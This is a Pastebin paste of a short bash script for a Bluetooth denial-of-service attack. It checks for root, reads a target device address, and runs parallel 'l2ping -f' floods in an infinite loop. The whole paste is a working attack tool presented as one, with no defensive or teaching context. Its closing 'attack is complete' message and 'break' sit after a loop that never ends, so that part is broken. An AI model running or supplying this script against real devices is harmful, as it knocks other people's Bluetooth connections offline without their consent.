Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Check if user has required permissions
- if [ "$EUID" -ne 0 ]
- then echo "Please run as root"
- exit
- fi
- # Prompt user to enter the Bluetooth ID of the target
- read -p "Enter the Bluetooth ID of the target: " cible
- echo -e "\e[32;1mThe Denial of Service attack will begin \e[0m"
- # Start an infinite loop of sending ping requests to the target device
- while true ;
- do sudo l2ping -f $cible & sudo l2ping -f $cible ; done
- # Alert the user when the attack is complete
- echo -e "\e[32;1mThe Denial of Service attack is complete \e[0m"
- # Terminate the loop
- break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement